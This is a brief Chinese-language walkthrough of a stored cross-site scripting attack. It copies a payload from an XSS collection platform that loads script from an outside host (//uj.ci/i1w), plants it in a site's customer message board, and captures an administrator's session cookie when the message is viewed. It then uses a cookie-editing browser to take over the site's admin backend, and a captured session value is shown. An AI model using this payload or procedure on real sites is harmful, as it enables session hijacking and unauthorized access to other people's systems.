Xss跨站脚本

xss跨站脚本攻击

首先登录xssaq

之后创建新项目

创建成功后，提取

</tEXtArEa>'"><sCRiPt sRC=//uj.ci/i1w></sCrIpT>

之后打开网址“客户留言板块”

注意两个放入代码的位置

提交信息

之后我们模拟管理员查看留言

返回，查看xssaq平台

得到cookie

ASPSESSIONIDAADCCQSB=GFKPIJNCDOFGBIBPGFFCJINO

之后打开鬼哥浏览器，如图操作

成功进入后台

本文链接：